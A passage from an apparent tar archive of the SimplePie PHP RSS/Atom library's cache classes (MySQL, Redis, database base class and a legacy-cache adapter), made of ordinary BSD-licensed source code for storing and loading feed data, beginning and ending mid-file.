     * @param string   $key   The key of the item to store.
     * @param array    $value The value of the item to store, must be serializable.
     * @param null|int $ttl   Optional. The TTL value of this item. If no value is sent and
     *                                      the driver supports TTL then the library may set a default value
     *                                      for it or let the driver take care of that.
     *
     * @return bool True on success and false on failure.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function set_data(string $key, array $value, ?int $ttl = null): bool
    {
        return $this->cache->set($key, $value, $ttl);
    }

    /**
     * Delete an item from the cache by its unique key.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::delete()
     * <code>
     * public function delete(string $key): bool;
     * </code>
     *
     * @param string $key The unique cache key of the item to delete.
     *
     * @return bool True if the item was successfully removed. False if there was an error.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function delete_data(string $key): bool
    {
        return $this->cache->delete($key);
    }
}
src/Cache/MySQL.php000064400000036306151024210710010015 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Cache;

/**
 * Caches data to a MySQL database
 *
 * Registered for URLs with the "mysql" protocol
 *
 * For example, `mysql://root:password@localhost:3306/mydb?prefix=sp_` will
 * connect to the `mydb` database on `localhost` on port 3306, with the user
 * `root` and the password `password`. All tables will be prefixed with `sp_`
 *
 * @package SimplePie
 * @subpackage Caching
 * @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
 */
class MySQL extends DB
{
    /**
     * PDO instance
     *
     * @var \PDO
     */
    protected $mysql;

    /**
     * Options
     *
     * @var array
     */
    protected $options;

    /**
     * Cache ID
     *
     * @var string
     */
    protected $id;

    /**
     * Create a new cache object
     *
     * @param string $location Location string (from SimplePie::$cache_location)
     * @param string $name Unique ID for the cache
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
     */
    public function __construct($location, $name, $type)
    {
        $this->options = [
            'user' => null,
            'pass' => null,
            'host' => '127.0.0.1',
            'port' => '3306',
            'path' => '',
            'extras' => [
                'prefix' => '',
                'cache_purge_time' => 2592000
            ],
        ];

        $this->options = array_replace_recursive($this->options, \SimplePie\Cache::parse_URL($location));

        // Path is prefixed with a "/"
        $this->options['dbname'] = substr($this->options['path'], 1);

        try {
            $this->mysql = new \PDO("mysql:dbname={$this->options['dbname']};host={$this->options['host']};port={$this->options['port']}", $this->options['user'], $this->options['pass'], [\PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8']);
        } catch (\PDOException $e) {
            $this->mysql = null;
            return;
        }

        $this->id = $name . $type;

        if (!$query = $this->mysql->query('SHOW TABLES')) {
            $this->mysql = null;
            return;
        }

        $db = [];
        while ($row = $query->fetchColumn()) {
            $db[] = $row;
        }

        if (!in_array($this->options['extras']['prefix'] . 'cache_data', $db)) {
            $query = $this->mysql->exec('CREATE TABLE `' . $this->options['extras']['prefix'] . 'cache_data` (`id` TEXT CHARACTER SET utf8 NOT NULL, `items` SMALLINT NOT NULL DEFAULT 0, `data` BLOB NOT NULL, `mtime` INT UNSIGNED NOT NULL, UNIQUE (`id`(125)))');
            if ($query === false) {
                trigger_error("Can't create " . $this->options['extras']['prefix'] . "cache_data table, check permissions", \E_USER_WARNING);
                $this->mysql = null;
                return;
            }
        }

        if (!in_array($this->options['extras']['prefix'] . 'items', $db)) {
            $query = $this->mysql->exec('CREATE TABLE `' . $this->options['extras']['prefix'] . 'items` (`feed_id` TEXT CHARACTER SET utf8 NOT NULL, `id` TEXT CHARACTER SET utf8 NOT NULL, `data` MEDIUMBLOB NOT NULL, `posted` INT UNSIGNED NOT NULL, INDEX `feed_id` (`feed_id`(125)))');
            if ($query === false) {
                trigger_error("Can't create " . $this->options['extras']['prefix'] . "items table, check permissions", \E_USER_WARNING);
                $this->mysql = null;
                return;
            }
        }
    }

    /**
     * Save data to the cache
     *
     * @param array|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
     * @return bool Successfulness
     */
    public function save($data)
    {
        if ($this->mysql === null) {
            return false;
        }

        $query = $this->mysql->prepare('DELETE i, cd FROM `' . $this->options['extras']['prefix'] . 'cache_data` cd, ' .
            '`' . $this->options['extras']['prefix'] . 'items` i ' .
            'WHERE cd.id = i.feed_id ' .
            'AND cd.mtime < (unix_timestamp() - :purge_time)');
        $query->bindValue(':purge_time', $this->options['extras']['cache_purge_time']);

        if (!$query->execute()) {
            return false;
        }

        if ($data instanceof \SimplePie\SimplePie) {
            $data = clone $data;

            $prepared = self::prepare_simplepie_object_for_cache($data);

            $query = $this->mysql->prepare('SELECT COUNT(*) FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :feed');
            $query->bindValue(':feed', $this->id);
            if ($query->execute()) {
                if ($query->fetchColumn() > 0) {
                    $items = count($prepared[1]);
                    if ($items) {
                        $sql = 'UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `items` = :items, `data` = :data, `mtime` = :time WHERE `id` = :feed';
                        $query = $this->mysql->prepare($sql);
                        $query->bindValue(':items', $items);
                    } else {
                        $sql = 'UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `data` = :data, `mtime` = :time WHERE `id` = :feed';
                        $query = $this->mysql->prepare($sql);
                    }

                    $query->bindValue(':data', $prepared[0]);
                    $query->bindValue(':time', time());
                    $query->bindValue(':feed', $this->id);
                    if (!$query->execute()) {
                        return false;
                    }
                } else {
                    $query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(:feed, :count, :data, :time)');
                    $query->bindValue(':feed', $this->id);
                    $query->bindValue(':count', count($prepared[1]));
                    $query->bindValue(':data', $prepared[0]);
                    $query->bindValue(':time', time());
                    if (!$query->execute()) {
                        return false;
                    }
                }

                $ids = array_keys($prepared[1]);
                if (!empty($ids)) {
                    foreach ($ids as $id) {
                        $database_ids[] = $this->mysql->quote($id);
                    }

                    $query = $this->mysql->prepare('SELECT `id` FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `id` = ' . implode(' OR `id` = ', $database_ids) . ' AND `feed_id` = :feed');
                    $query->bindValue(':feed', $this->id);

                    if ($query->execute()) {
                        $existing_ids = [];
                        while ($row = $query->fetchColumn()) {
                            $existing_ids[] = $row;
                        }

                        $new_ids = array_diff($ids, $existing_ids);

                        foreach ($new_ids as $new_id) {
                            if (!($date = $prepared[1][$new_id]->get_date('U'))) {
                                $date = time();
                            }

                            $query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'items` (`feed_id`, `id`, `data`, `posted`) VALUES(:feed, :id, :data, :date)');
                            $query->bindValue(':feed', $this->id);
                            $query->bindValue(':id', $new_id);
                            $query->bindValue(':data', serialize($prepared[1][$new_id]->data));
                            $query->bindValue(':date', $date);
                            if (!$query->execute()) {
                                return false;
                            }
                        }
                        return true;
                    }
                } else {
                    return true;
                }
            }
        } else {
            $query = $this->mysql->prepare('SELECT `id` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :feed');
            $query->bindValue(':feed', $this->id);
            if ($query->execute()) {
                if ($query->rowCount() > 0) {
                    $query = $this->mysql->prepare('UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `items` = 0, `data` = :data, `mtime` = :time WHERE `id` = :feed');
                    $query->bindValue(':data', serialize($data));
                    $query->bindValue(':time', time());
                    $query->bindValue(':feed', $this->id);
                    if ($query->execute()) {
                        return true;
                    }
                } else {
                    $query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(:id, 0, :data, :time)');
                    $query->bindValue(':id', $this->id);
                    $query->bindValue(':data', serialize($data));
                    $query->bindValue(':time', time());
                    if ($query->execute()) {
                        return true;
                    }
                }
            }
        }
        return false;
    }

    /**
     * Retrieve the data saved to the cache
     *
     * @return array Data for SimplePie::$data
     */
    public function load()
    {
        if ($this->mysql === null) {
            return false;
        }

        $query = $this->mysql->prepare('SELECT `items`, `data` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
        $query->bindValue(':id', $this->id);
        if ($query->execute() && ($row = $query->fetch())) {
            $data = unserialize($row[1]);

            if (isset($this->options['items'][0])) {
                $items = (int) $this->options['items'][0];
            } else {
                $items = (int) $row[0];
            }

            if ($items !== 0) {
                if (isset($data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['feed'][0])) {
                    $feed = &$data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['feed'][0];
                } elseif (isset($data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['feed'][0])) {
                    $feed = &$data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['feed'][0];
                } elseif (isset($data['child'][\SimplePie\SimplePie::NAMESPACE_RDF]['RDF'][0])) {
                    $feed = &$data['child'][\SimplePie\SimplePie::NAMESPACE_RDF]['RDF'][0];
                } elseif (isset($data['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['rss'][0])) {
                    $feed = &$data['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['rss'][0];
                } else {
                    $feed = null;
                }

                if ($feed !== null) {
                    $sql = 'SELECT `data` FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `feed_id` = :feed ORDER BY `posted` DESC';
                    if ($items > 0) {
                        $sql .= ' LIMIT ' . $items;
                    }

                    $query = $this->mysql->prepare($sql);
                    $query->bindValue(':feed', $this->id);
                    if ($query->execute()) {
                        while ($row = $query->fetchColumn()) {
                            $feed['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['entry'][] = unserialize($row);
                        }
                    } else {
                        return false;
                    }
                }
            }
            return $data;
        }
        return false;
    }

    /**
     * Retrieve the last modified time for the cache
     *
     * @return int Timestamp
     */
    public function mtime()
    {
        if ($this->mysql === null) {
            return false;
        }

        $query = $this->mysql->prepare('SELECT `mtime` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
        $query->bindValue(':id', $this->id);
        if ($query->execute() && ($time = $query->fetchColumn())) {
            return $time;
        }

        return false;
    }

    /**
     * Set the last modified time to the current time
     *
     * @return bool Success status
     */
    public function touch()
    {
        if ($this->mysql === null) {
            return false;
        }

        $query = $this->mysql->prepare('UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `mtime` = :time WHERE `id` = :id');
        $query->bindValue(':time', time());
        $query->bindValue(':id', $this->id);

        return $query->execute() && $query->rowCount() > 0;
    }

    /**
     * Remove the cache
     *
     * @return bool Success status
     */
    public function unlink()
    {
        if ($this->mysql === null) {
            return false;
        }

        $query = $this->mysql->prepare('DELETE FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
        $query->bindValue(':id', $this->id);
        $query2 = $this->mysql->prepare('DELETE FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `feed_id` = :id');
        $query2->bindValue(':id', $this->id);

        return $query->execute() && $query2->execute();
    }
}

class_alias('SimplePie\Cache\MySQL', 'SimplePie_Cache_MySQL');
src/Cache/BaseDataCache.php000064400000012613151024210710011433 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2022 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Cache;

use InvalidArgumentException;

/**
 * Adapter for deprecated \SimplePie\Cache\Base implementations
 *
 * @package SimplePie
 * @subpackage Caching
 * @internal
 */
final class BaseDataCache implements DataCache
{
    /**
     * @var Base
     */
    private $cache;

    public function __construct(Base $cache)
    {
        $this->cache = $cache;
    }

    /**
     * Fetches a value from the cache.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::get()
     * <code>
     * public function get(string $key, mixed $default = null): mixed;
     * </code>
     *
     * @param string $key     The unique key of this item in the cache.
     * @param mixed  $default Default value to return if the key does not exist.
     *
     * @return array|mixed The value of the item from the cache, or $default in case of cache miss.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function get_data(string $key, $default = null)
    {
        $data = $this->cache->load();

        if (!is_array($data)) {
            return $default;
        }

        // ignore data if internal cache expiration time is not set
        if (!array_key_exists('__cache_expiration_time', $data)) {
            return $default;
        }

        // ignore data if internal cache expiration time is expired
        if ($data['__cache_expiration_time'] < time()) {
            return $default;
        }

        // remove internal cache expiration time
        unset($data['__cache_expiration_time']);

        return $data;
    }

    /**
     * Persists data in the cache, uniquely referenced by a key with an optional expiration TTL time.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::set()
     * <code>
     * public function set(string $key, mixed $value, null|int|\DateInterval $ttl = null): bool;
     * </code>
     *
     * @param string   $key   The key of the item to store.
     * @param array    $value The value of the item to store, must be serializable.
     * @param null|int $ttl   Optional. The TTL value of this item. If no value is sent and
     *                                      the driver supports TTL then the library may set a default value
     *                                      for it or let the driver take care of that.
     *
     * @return bool True on success and false on failure.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function set_data(string $key, array $value, ?int $ttl = null): bool
    {
        if ($ttl === null) {
            $ttl = 3600;
        }

        // place internal cache expiration time
        $value['__cache_expiration_time'] = time() + $ttl;

        return $this->cache->save($value);
    }

    /**
     * Delete an item from the cache by its unique key.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::delete()
     * <code>
     * public function delete(string $key): bool;
     * </code>
     *
     * @param string $key The unique cache key of the item to delete.
     *
     * @return bool True if the item was successfully removed. False if there was an error.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function delete_data(string $key): bool
    {
        return $this->cache->unlink();
    }
}
src/Cache/Redis.php000064400000013665151024210710010121 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Cache;

use Redis as NativeRedis;

/**
 * Caches data to redis
 *
 * Registered for URLs with the "redis" protocol
 *
 * For example, `redis://localhost:6379/?timeout=3600&prefix=sp_&dbIndex=0` will
 * connect to redis on `localhost` on port 6379. All tables will be
 * prefixed with `simple_primary-` and data will expire after 3600 seconds
 *
 * @package SimplePie
 * @subpackage Caching
 * @uses Redis
 * @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
 */
class Redis implements Base
{
    /**
     * Redis instance
     *
     * @var NativeRedis
     */
    protected $cache;

    /**
     * Options
     *
     * @var array
     */
    protected $options;

    /**
     * Cache name
     *
     * @var string
     */
    protected $name;

    /**
     * Create a new cache object
     *
     * @param string $location Location string (from SimplePie::$cache_location)
     * @param string $name Unique ID for the cache
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
     */
    public function __construct($location, $name, $options = null)
    {
        //$this->cache = \flow\simple\cache\Redis::getRedisClientInstance();
        $parsed = \SimplePie\Cache::parse_URL($location);
        $redis = new NativeRedis();
        $redis->connect($parsed['host'], $parsed['port']);
        if (isset($parsed['pass'])) {
            $redis->auth($parsed['pass']);
        }
        if (isset($parsed['path'])) {
            $redis->select((int)substr($parsed['path'], 1));
        }
        $this->cache = $redis;

        if (!is_null($options) && is_array($options)) {
            $this->options = $options;
        } else {
            $this->options = [
                'prefix' => 'rss:simple_primary:',
                'expire' => 0,
            ];
        }

        $this->name = $this->options['prefix'] . $name;
    }

    /**
     * @param NativeRedis $cache
     */
    public function setRedisClient(NativeRedis $cache)
    {
        $this->cache = $cache;
    }

    /**
     * Save data to the cache
     *
     * @param array|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
     * @return bool Successfulness
     */
    public function save($data)
    {
        if ($data instanceof \SimplePie\SimplePie) {
            $data = $data->data;
        }
        $response = $this->cache->set($this->name, serialize($data));
        if ($this->options['expire']) {
            $this->cache->expire($this->name, $this->options['expire']);
        }

        return $response;
    }

    /**
     * Retrieve the data saved to the cache
     *
     * @return array Data for SimplePie::$data
     */
    public function load()
    {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            return unserialize($data);
        }
        return false;
    }

    /**
     * Retrieve the last modified time for the cache
     *
     * @return int Timestamp
     */
    public function mtime()
    {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            return time();
        }

        return false;
    }

    /**
     * Set the last modified time to the current time
     *
     * @return bool Success status
     */
    public function touch()
    {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            $return = $this->cache->set($this->name, $data);
            if ($this->options['expire']) {
                return $this->cache->expire($this->name, $this->options['expire']);
            }
            return $return;
        }

        return false;
    }

    /**
     * Remove the cache
     *
     * @return bool Success status
     */
    public function unlink()
    {
        return $this->cache->set($this->name, null);
    }
}

class_alias('SimplePie\Cache\Redis', 'SimplePie_Cache_Redis');
src/Cache/DB.php000064400000012676151024210710007341 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Cache;

/**
 * Base class for database-based caches
 *
 * @package SimplePie
 * @subpackage Caching
 * @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
 */
abstract class DB implements Base
{
    /**
     * Helper for database conversion
     *
     * Converts a given {@see SimplePie} object into data to be stored
     *
     * @param \SimplePie\SimplePie $data
     * @return array First item is the serialized data for storage, second item is the unique ID for this item
     */
    protected static function prepare_simplepie_object_for_cache($data)
    {
        $items = $data->get_items();
        $items_by_id = [];

        if (!empty($items)) {
            foreach ($items as $item) {
                $items_by_id[$item->get_id()] = $item;
            }

            if (count($items_by_id) !== count($items)) {
                $items_by_id = [];
                foreach ($items as $item) {
                    $items_by_id[$item->get_id(true)] = $item;
                }
            }

            if (isset($data->data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['feed'][0])) {
                $channel = &$data->data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['feed'][0];
            } elseif (isset($data->data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['feed'][0])) {
                $channel = &$data->data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['feed'][0];
            } elseif (isset($data->data['child'][\SimplePie\SimplePie::NAMESPACE_RDF]['RDF'][0])) {
                $channel = &$data->data['child'][\SimplePie\SimplePie::NAMESPACE_RDF]['RDF'][0];
            } elseif (isset($data->data['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['rss'][0]['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['channel'][0])) {
                $channel = &$data->data['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['rss'][0]['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['channel'][0];
            } else {
                $channel = null;
            }

            if ($channel !== null) {
                if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['entry'])) {
                    unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['entry']);
                }
                if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['entry'])) {
                    unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['entry']);
                }
                if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_10]['item'])) {
                    unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_10]['item']);
                }
                if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_090]['item'])) {
                    unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_090]['item']);
                }
                if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['item'])) {
                    unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['item']);
                }
            }
            if (isset($data->data['items'])) {
                unset($data->data['items']);
            }
            if (isset($data->data['ordered_items'])) {
                unset($data->data['ordered_items']);
            }
        }
        return [serialize($data->data), $items_by_id];
    }
}

class_alias('SimplePie\Cache\DB', 'SimplePie_Cache_DB');
src/Cache/CallableNameFilter.php000064400000006452151024210710012515 0ustar00<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
